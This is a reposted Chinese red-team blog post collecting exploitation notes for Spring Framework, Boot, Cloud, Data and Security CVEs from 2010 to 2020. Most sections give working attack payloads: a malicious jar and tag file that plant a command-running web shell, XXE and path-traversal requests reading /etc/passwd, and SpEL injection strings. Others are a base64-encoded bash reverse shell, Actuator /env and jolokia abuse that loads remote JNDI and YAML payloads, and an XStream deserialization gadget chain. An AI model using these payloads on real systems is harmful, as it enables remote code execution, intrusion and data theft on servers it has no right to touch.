Spring 框架相關漏洞合集 | 紅隊技術


本文作者:Misaki,文章來源:https://misakikata.github.io/

雖說是 Spring 框架漏洞,但以下包含並不僅 Spring Framework,Spring Boot,還有 Spring Cloud,Spring Data,Spring Security 等。

 

CVE-2010-1622 Spring Framework class.classLoader 類遠程代碼執行

 

影響版本:SpringSource Spring Framework 3.0.0 - 3.0.2、SpringSource Spring Framework 2.5.0 - 2.5.7

 

Spring 框架提供了一種機制,該機制使用客戶端提供的數據來更新對象屬性。這個機制允許攻擊者修改用於加載對象的類加載器的屬性(通過 'class.classloader')。這可能導致任意命令執行,例如,攻擊者可以修改 URL。由類加載器用來指向攻擊者控制的位置。

 

示例:


POST /adduser HTTP/1.0
...
firstName = Tavis&lastName = Ormandy

 

 

如果 Person 是表單的支持對象,則 firstName 和 lastName 屬性將設置為相應的值。為了支持更復雜的類,Spring 還支持點表示法,因此 user.address.street = Disclosure + Str。將等效於:frmObj.getUser().getAddress().setStreet("Disclosure Str.") 

 

問題是 Spring Beans 的 CachedIntrospectionResults 類枚舉了可從用戶表單提交中設置的屬性,使用 java.beans.Introspector.getBeanInfo() 而不指定停止類,這意味着 'class' 屬性及其后的所有內容均可用於HTTP請求中的設置。

 

攻擊:

如果攻擊者使用以下 HTTP 參數向表單控制器提交 HTTP 請求:


POST /adduser HTTP/1.0
...
class.classLoader.URLs[0] = jar:http://attacker/spring-exploit.jar!
 

她將使用自己的網址覆蓋 frmObj.getClass().getClassLoader().getURLs() 返回的數組中的第 0 個元素.

它將是哪個類加載器?

在 Apache Tomcat 上的情況下,它指 org.apache.catalina.loader.WebappClassLoader

如何構造這個 jar,需要包含以下信息:


- META-INF/spring-form.tld - 定義spring表單標簽並指定實現為標簽文件而不是類
- META-INF/tags/中的標簽文件,包含有標簽定義(任意Java代碼)

 

 

/META-INF/spring-form.tld 文件:


<!-- <form:input/> tag -->
<tag-file>
<name>input</name>
<path>/META-INF/tags/InputTag.tag</path>
</tag-file>

 

/META-INF/tags/InputTag.tag


<%@ tag dynamic-attributes="dynattrs" %>
<%
j java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED");
%>

 

 

做出這樣的替換后,當開發者在 controller 中將任何一個對象綁定表單,並且最終展示的 jsp 內容有下面這些:


<%@ taglib prefix="form" uri="http://www.springframework.org/tags/form"%>
<form:form commandName="user">
<form:input path="name"/>
</form:form>

 

 

攻擊者訪問 url,即可觸發遠程代碼執行的效果:

http://inbreak.net/springmvc/testjsp.htm? class.classLoader.URLs[0]=jar:https://inbreak.net/spring-exploit.jar!/

 

如果服務器大於 tomcat6.0.28 版本,這樣做會把所有的 input 標簽替換掉,導致不能正常顯示。需要修改

spring-form.tld,給其中的 inputtag 改名,name 改為 inputkxlzx:


<tag>
<name>inputkxlzx</name> //什么名字都行

 

 

在文件中新加入一個 tag,叫做 input:

<tag-file> <name>input</name> <path>/WEB-INF/tags/InputTag.tag</path> </tag-file>

 

 

InputTag.tag 的內容:


<%@ tag dynamic-attributes="dynattrs" %>
<%
if (request.getParameter("kxlzxcmd")!=null)
exec(request.getParameter("kxlzxcmd"));
%>
<form:inputkxlzx path="${dynattrs.path}"></form:inputkxlzx>

 

 

訪問的時候需要在參數中攜帶 kxlzxcmd

/test.htm?name=kxlzx&kxlzxcmd=calc //包含input的頁面
 

http://blog.o0o.nu/2010/06/cve-2010-1622.html

https://www.inbreak.net/archives/377

 

CVE-2013-4152 Spring Framework 中的 XML 外部實體(XXE)注入

影響版本:3.0.0 至 3.2.3、4.0.0.M1

受影響版本容易受到 XML 外部實體(XXE)注入的攻擊。該SourceHttpMessageConverter處理器不會禁用外部實體解析,這使遠程攻擊者可以讀取任意文件。

當傳輸 xml 結構體時,如

<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>

 

 

外部XML實體- xxe是使用系統標識符定義的,並存在於 DOCTYPE 標頭中。這些實體可以訪問本地或遠程內容。例如,以下代碼包含一個外部 XML 實體,該實體將獲取的內容 /etc/passwd並將其顯示給呈現給用戶。

?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>

 

 

其他 XXE 注入攻擊可以訪問可能無法停止返回數據的本地資源,這可能會影響應用程序可用性並導致拒絕服務。

 

 

CVE-2013-7315 Spring Framework 中的 XML 外部實體

 

影響版本:3.2.0至3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)

 

由於對 CVE-2013-4152 和 CVE-2013-6429 的修復不完整導致。

 

受影響版本容易受到 XML 外部實體(XXE)注入的攻擊。該SourceHttpMessageConverter處理器不會禁用外部實體解析,這使遠程攻擊者可以讀取任意文件。

 

當傳輸 xml 結構體時,如

<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
 

外部 XML 實體- xxe是使用系統標識符定義的,並存在於 DOCTYPE 標頭中。這些實體可以訪問本地或遠程內容。例如,以下代碼包含一個外部 XML 實體,該實體將獲取的內容 /etc/passwd並將其顯示給呈現給用戶。

 

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
 

其他 XXE 注入攻擊可以訪問可能無法停止返回數據的本地資源,這可能會影響應用程序可用性並導致拒絕服務。

 

CVE-2014-3527 Spring Security 驗證繞過漏洞

 

影響版本:SpringSource Spring Security 3.1-3.2.4

 

當使用從 Spring Security 3.1 到 3.2.4 的 CAS 代理票證身份驗證時,惡意的 CAS 服務可能會欺騙另一個 CAS 服務來認證未關聯的代理票證。這是由於以下事實:代理票證身份驗證使用了來自 HttpServletRequest 的信息,該信息是根據 HTTP 請求中的不可信信息填充的。這意味着,如果存在 CAS 服務可以相互認證的訪問控制限制,則可以繞過這些限制。如果用戶未使用 CAS 代理票證,並且未基於 CAS 服務做出訪問控制決策,則對用戶沒有影響。

 

CVE-2014-0097 Spring Security 認證繞過

 

影響版本:Spring Security 3.2.0 至 3.2.1 和 3.1.0 至 3.1.5

 

ActiveDirectoryLdapAuthenticator不檢查密碼長度。如果目錄允許匿名綁定,則它可能會錯誤地驗證提供空密碼的用戶。

 

CVE-2014-3578 Spring Framework 目錄遍歷漏洞

 

影響版本:Spring Framework: 3.0.4 to 3.2.11 , 4.0.0 to 4.0.7, 4.1.0 to 4.1.1

 

在 web.xml 存在如下情況下存在目錄遍歷:

<mvc:resources mapping="/css/**" location="file:webapps/springapp/WEB-INF/classes/theme/css/" />

 

訪問:

GET /springapp/css/file:/etc/passwd

 

CVE-2016-2173 Spring AMQP 中的遠程代碼執行

 

影響版本:1.0.0至1.5.4

 

https://github.com/HaToan/CVE-2016-2173

 

使用方式:

 

ysoserial-0.0.4-all.jar create payload write and execute a shell

java -jar ysoserial-0.0.4-all.jar 'library_vul' 'command'

exploit-cve2016-2173.jar : send to App vul

java -jar exploit-cve2016-2173.jar

 

本來想根據配置來搭一個環境處理,結果環境一直搭不起來,構建各種失敗,就先放這個利用 poc 吧。

 

CVE-2016-4977 SpringSecurityOauth 遠程命令執行漏洞

 

影響版本:2.0.0-2.0.9、1.0.0-1.0.5

 

https://www.seebug.org/vuldb/ssvid-92474

 

漏洞利用POC:

http://localhost:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${2334-1}

圖片

 

 

執行命令:

http://207.246.79.196:8080/oauth/authorize?response_type=token&client_id=acme&redirect_uri=${T(java.lang.Runtime).getRuntime().exec(%22ping%20xxx.ceye.io%22)}

 

圖片

 

但是此命令執行,不會在頁面上顯示,只會打印出運行的對象。

 

如果要執行反彈 shell 等命令,由於頁面 HTML 編碼的原因,SPEL 返回值時進行了一次 html 編碼,所以導致取出的 值時會進行一次轉義,利用如下腳本加工。

 

#coding:utf-8

message = input('Enter message to encode:')

 

print('Decoded string (in ASCII):\n')

 

print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")

for ch in message[1:]:

   print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""),

print('\n')

 

print('new java.lang.String(new byte[]{', end=""),

print(ord(message[0]), end="")

for ch in message[1:]:

   print(',%s' % ord(ch), end=""),

print(')}')

 

執行輸出后再添加:

T(java.lang.Runtime).getRuntime().exec(payload)

 

CNVD-2016-04742 Spring Boot 框架 SPEL 表達式注入漏洞

 

影響版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

 

https://www.cnblogs.com/litlife/p/10183137.html

 

下載存在漏洞的版本1.3.0:

 

https://github.com/spring-projects/spring-boot/archive/v1.3.0.RELEASE.zip

 

POC:

/?payload=${new%20java.lang.String(new%20byte[]{70, 66, 66, 50, 48, 52, 65, 52, 48, 54, 49, 70, 70, 66, 68, 52, 49, 50, 56, 52, 65, 56, 52, 67, 50, 53, 56, 67, 49, 66, 70, 66})}

 

結果:

FBB204A4061FFBD41284A84C258C1BFB 返回結果是 md5(wooyun)

 

 

CVE-2016-6652 Spring Data JPA SQL 盲注

 

影響版本:Spring Data JPA 1.10.2、1.9.4

 

https://www.seebug.org/vuldb/ssvid-92534

 

CVE-2017-4971 Spring WebFlow 遠程代碼執行漏洞

 

影響版本:Spring Web Flow 2.4.0 to 2.4.4

 

使用vulhub搭建環境后,在添加poc執行

 

&_(new+java.lang.ProcessBuilder("ping","xxx.ceye.io")).start()=vulhub

圖片

​​

圖片


 

無害化 payload 檢測,如果 response header 中出現 vulnerable 頭,則有漏洞:

 

&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("vulnerable","True").aaa=n1nty

圖片

 

CVE-2017-8045 Spring Amqp中的遠程代碼執行

 

影響版本:1.7.4、1.6.11和1.5.7之前的Spring AMQP版本

 

https://xz.aliyun.com/t/36

 

CVE-2017-8046 Spring Data REST PATCH請求遠程執行代碼

 

影響版本:Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本、Spring Data release trains Kay-RC3之前的版本、Spring Boot 2.0.0M4之前的版本

 

https://www.cnblogs.com/co10rway/p/9380441.html

 

利用POC執行:

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String('ping xxx.ceye.io'))/lastname", "value": "vulhub" }]
 

反彈shell,其中反彈shell命令需要借助編碼來減少重定向出錯的問題java.lang.Runtime.exec() Payload Workarounds:

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54Lzg4OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'))/lastname", "value": "vulhub" }]

圖片

 

圖片

 

 

CVE-2018-1258 Spring Security未經授權的訪問

 

影響版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)

 

暫無詳細信息

 

CVE-2018-1259 具有XMLBeam的Spring DataXXE

 

影響版本:

 

XMLBeam 1.4.14或更早版本結合使用的Spring Data Commons Spring Data Commons 1.13至1.13.11(Ingalls SR11)Spring Data REST 2.6至2.6.11(Ingalls SR11) Spring Data Commons 2.0至2.0.6(Kay SR6) Spring Data REST 3.0至3.0.6(Kay SR6)

 

http://www.polaris-lab.com/index.php/tag/CVE-2018-1259/

 

https://xz.aliyun.com/t/2341

 

CVE-2018-1270 Spring Messaging遠程代碼執行漏洞

 

影響版本:Spring Framework 5.0 to 5.0.4。Spring Framework 4.3 to 4.3.14

 

同樣利用 vulhub 搭建環境,首先我們先攔截 connect,查看通過的 ws 包,點擊后會有這么一個請求

 

ws://x.x.x.x:8080/gs-guide-websocket/845/beqcexeb/websocket

 

圖片

從 bp 中看到來回四個包,其中的內容為如上所示,修改如下請求包

圖片

在發送任意消息,即可觸發

圖片

或者嘗試使用 vulhub 提供的腳本,但是此腳本並不具備通用性,需要修改使用poc

 

CVE-2018-1271 Spring MVC 目錄穿越漏洞

 

當 Spring MVC 的靜態資源存放在 Windows 系統上時,攻擊可以通過構造特殊 URL 導致目錄遍歷漏洞。

 

此漏洞觸發條件較高:

Server 運行於 Windows 系統上
從文件系統提供的文件服務(比如使用 file 協議,但不是 file open)
沒有使用 CVE-2018-1199 漏洞的補丁
不使用 Tomcat 或者是 WildFly 做 Server

 

 

漏洞利用和復現:

https://blog.knownsec.com/2018/08/spring-mvc-%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E6%BC%8F%E6%B4%9Ecve-2018-1271%E5%88%86%E6%9E%90/

 

CVE-2018-1273 Spring Expression Language SPEL表達式注入漏洞

影響版本:

 

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)

 

https://www.cnblogs.com/hac425/p/9656747.html

 

圖片

 

POC:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=xxxusername[T(java.lang.Runtime).getRuntime().exec("ping+xxx.ceye.io")]=test

 

CVE-2018-1260 Spring Security Oauth2 遠程代碼執行

 

影響版本:

Spring Security OAuth 2.3 to 2.3.2

Spring Security OAuth 2.2 to 2.2.1

Spring Security OAuth 2.1 to 2.1.1

Spring Security OAuth 2.0 to 2.0.14

https://www.seebug.org/vuldb/ssvid-97287

 

此漏洞和CVE-2016-4977類似

 

POC:

 

http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://www.baidu.com&scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22ping%20r9rub4.ceye.io%22%29%7D

CVE-2018-15758 spring-security-oauth2權限提升

 

影響版本:

Spring Security OAuth 2.3至2.3.3

Spring Security OAuth 2.2至2.2.2

Spring Security OAuth 2.1至2.1.2

Spring Security OAuth 2.0到2.0.15

 

使用了EnableResourceServer並且用了AuthorizationRequest的話。那么攻擊者可以重新發送一次用過的驗證請求,或者進行相應參數修改,從而造成權限提升。

 

例如劫持code,並且篡改其中的scope到all的話:

http://localhost:8080/oauth/authorize?client_id=client&response_type=code&redirect_uri=http://127.0.0.1&scope=openid

圖片

 

即授權了讀取權限的時候,修改為all就可以獲得全部權限。

 

CVE-2019-3799 Spring Cloud Config Server: 目錄遍歷

 

影響版本:Spring-Cloud-Config-Server < 2.1.2, 2.0.4, 1.4.6

 

下載受影響的版本構建:https://github.com/spring-cloud/spring-cloud-config

 

cd spring-cloud-config-server                                                                   ../mvnw spring-boot:run

構建成功后訪問:

 

http://127.0.0.1:8888/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd

 

其中路徑代表:/{name}/{profile}/{label}/,如下中所顯示的json。

 

圖片

 

CVE-2019-3778 Spring Security OAuth 開放重定向

 

影響版本:

Spring Security OAuth 2.3 to 2.3.4 Spring Security OAuth 2.2 to 2.2.3 Spring Security OAuth 2.1 to 2.1.3 Spring Security OAuth 2.0 to 2.0.16

https://medium.com/@riemannbernhardj/investigating-spring-security-oauth2-cve-2019-3778-and-cve-2019-11269-a-p-o-c-attack-44895f2a5e70

 

用戶登錄后,CLIENT APP 執行的以下請求包含 REDIRECT_URI 參數。只需添加一個百分號即可觸發重定向,而不是通過 RedirectMismatchException 錯誤來繞過驗證。

 

例如原始請求如下:

/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login

 

只需要修改為:

/auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:8086/login

 

這樣就不會產生原本的認證錯誤,而且直接跳轉到地址

 

Location: http://localhost:8086/login

 

CNVD-2019-11630 Spring Boot Actuator 命令執行漏洞

 

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators#

 

這個漏洞並不像是單一的問題產生,更像是一個滲透入侵的過程。有很多值得在意的知識點

 

1、Spring Boot 1-1.4,無需身份驗證即可訪問以下敏感路徑,而在 2.x 中,存在於 /actuator 路徑下。

 

/dump-顯示線程轉儲(包括堆棧跟蹤)
/trace-顯示最后幾條HTTP消息(其中可能包含會話標識符)
/logfile-輸出日志文件的內容
/shutdown-關閉應用程序
/mappings-顯示所有MVC控制器映射
/env-提供對配置環境的訪問
/restart-重新啟動應用程序
 

2、jolokia 進行遠程代碼執行,Jolokia 允許通過 HTTP 訪問所有已注冊的 MBean,並且旨在執行與 JMX 相同的操作。可以使用 URL 列出所有可用的 MBeans 操作:

 

http://127.0.0.1:8090/jolokia/list

 

Logback 庫提供的 reloadByURL 操作使我們可以從外部 URL 重新加載日志配置,地址如:

 

http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml

 

logback.xml:

<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

 

reloadByURL 功能從 http://artsploit.com/logback.xml 下載新配置,並將其解析為 Logback 配置。這就導致兩個問題:XXE 盲攻擊、惡意 LDAP 服務器解析引用導致 RCE。

 

3、通過 /env 來修改配置

 

如果 Spring Cloud Libraries 在類路徑中,則’/env’端點允許您修改 Spring 環境屬性。

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

 

此屬性將 Eureka serviceURL 修改為任意值。Eureka Server 通常用作發現服務器,目標類路徑中具有 Eureka-Client <1.8.7,則可以利用其中的 XStream 反序列化漏洞。

 

 

其中 xstream 的內容類似如下:

 

<linked-hash-set>

  <jdk.nashorn.internal.objects.NativeString>

    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">

      <dataHandler>

        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">

          <is class="javax.crypto.CipherInputStream">

            <cipher class="javax.crypto.NullCipher">

              <serviceIterator class="javax.imageio.spi.FilterIterator">

                <iter class="javax.imageio.spi.FilterIterator">

                  <iter class="java.util.Collections$EmptyIterator"/>

                  <next class="java.lang.ProcessBuilder">

                    <command>

                      <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>

                    </command>

                    <redirectErrorStream>false</redirectErrorStream>

                  </next>

                </iter>

                <filter class="javax.imageio.ImageIO$ContainsFilter">

                  <method>

                    <class>java.lang.ProcessBuilder</class>

                    <name>start</name>

                    <parameter-types/>

                  </method>

                  <name>foo</name>

                </filter>

                <next class="string">foo</next>

              </serviceIterator>

              <lock/>

            </cipher>

            <input class="java.lang.ProcessBuilder$NullInputStream"/>

            <ibuffer></ibuffer>

          </is>

        </dataSource>

      </dataHandler>

    </value>

  </jdk.nashorn.internal.objects.NativeString>

</linked-hash-set>

 

然后調用 /refresh 端點。

 

4、有一種通過 Spring 環境屬性修改來實現 RCE 的更可靠方法:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml

 

該請求修改了“ spring.cloud.bootstrap.location”屬性,該屬性用於加載外部配置並以YAML格式解析它。為了做到這一點,我們還需要調用“/refresh”端點。

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

 

從遠程服務器獲取 YAML 配置時,將使用 SnakeYAML 庫進行解析,該庫也容易受到反序列化攻擊。有效載荷(yaml-payload.yml)可以通過使用前述的 Marshalsec 研究生成:

!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://artsploit.com/yaml-payload.jar"] ]]]

 

該 jar 文件的反序列化將觸發提供的 URLClassLoader 的 ScriptEngineManager 構造函數的執行。jar 文件可以在如下地址找到:

 

https://github.com/artsploit/yaml-payload

 

5、/env 配置

 

除了關於執行 RCE 的地方,還有一些設置也很有用。

 

spring.datasource.tomcat.validationQuery = drop + table + users-允許您指定任何 SQL 查詢,它將針對當前數據庫自動執行。它可以是任何語句,包括插入,更新或刪除。

 

spring.datasource.tomcat.url = jdbc:hsqldb:https://localhost:3002/xdb

 

允許您修改當前的JDBC連接字符串。

 

這種設置只在 1.x 中,在 Spring Boot 2.x 中,改為了 json 格式。

 

CVE-2019-11269 Spring Security OAuth 開放重定向

 

此漏洞為 CVE-2019-3778的延伸版本,效果一致

 

影響版本:Spring Security OAuth 2.3至2.3.5Spring Security OAuth 2.2至2.2.4Spring Security OAuth 2.1至2.1.4Spring Security OAUth 2.0至2.0.17

 

CVE-2020-5398 Spring Framework RFD漏洞

 

影響版本:Spring Framework, versions 5.2.0 to 5.2.3, 5.1.0 to 5.1.13, 5.0.0 to 5.0.16

 

觸發此漏洞的要求可以控制content-disposition文件名和擴展名來下載文件。觸發的類型有些類似釣魚文件。

 

<a href=”https://<trusted-server>.com/api/users/<attacker_id>.cmd" download>Click me, Im a dolphin</a>

先准備一個受控制的配置文件等,上傳到受信的服務器中,雖然對服務器不造成影響。但是可以在其中注入一些payload。

 

由於下載的文件名是受前端控制,發送filename的時候可以自己構造文件名下載。

 

spring對不能識別的文件下載的時候按照json格式來處理,但是url仍然可以使用。

 

當受害者點擊如上的地址時,會下載一個.cmd執行文件。原來spring對這種問題的處理是添加后綴為txt來改變文件的可執行效果。

 

但是這個設置可以繞過,采用如下形式:

 

filename:secure_install.cmd";

會在表頭中閉合造成如下效果:

 

Content-Disposition: attachment; filename="secure_install.cmd";.txt"

從而達到繞過限制來下載預先設定好的可執行文件等。

 

CVE-2020-5405 Spring Cloud Config路徑穿越導致的信息泄露

 

影響版本:spring-cloud-config-server < 2.2.2

 

https://github.com/mai-lang-chai/Middleware-Vulnerability-detection/blob/65bbd0ec4f2fd012318f7d91548ba1f338d5e064/Spring%20Cloud/CVE-2020-5405%20Spring%20Cloud%20Config%20%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A/README.md

 

poc:

利用點1:

curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx

 

讀取 /User/xuanyonghao/tmp/aaa.xxx 文件

foo 對應 {application}
profiles 對應 {profiles}
%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp 對應 {label}

 

todo 條件限制:

 

todo 1. 文件必須有后綴,也就是 .txt 等等。

 

todo 2. cloud: config: server: native: search-locations: file:///tmp/{label},此處的目錄需要有{application}或{profiles}或{label},因為在上述觸發點會對url對應段進行替換進來location,導致目錄穿越,但是會限制文件后綴

 

利用點2:

org.springframework.cloud.config.server.resource.ResourceController#resolveLabel(java.lang.String)

 

利用此處把label處的(_)替換為 /

curl http://127.0.0.1:9988/foo/profiles/..%28_%29Users%28_%29xuanyonghao%28_%29tmp/aaa.xxx

 

todo 條件限制:

todo 1. 文件必須有后綴,也就是.txt等等。

todo 2. 不像利用點1處,不需要配置{application}{profiles}{label}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM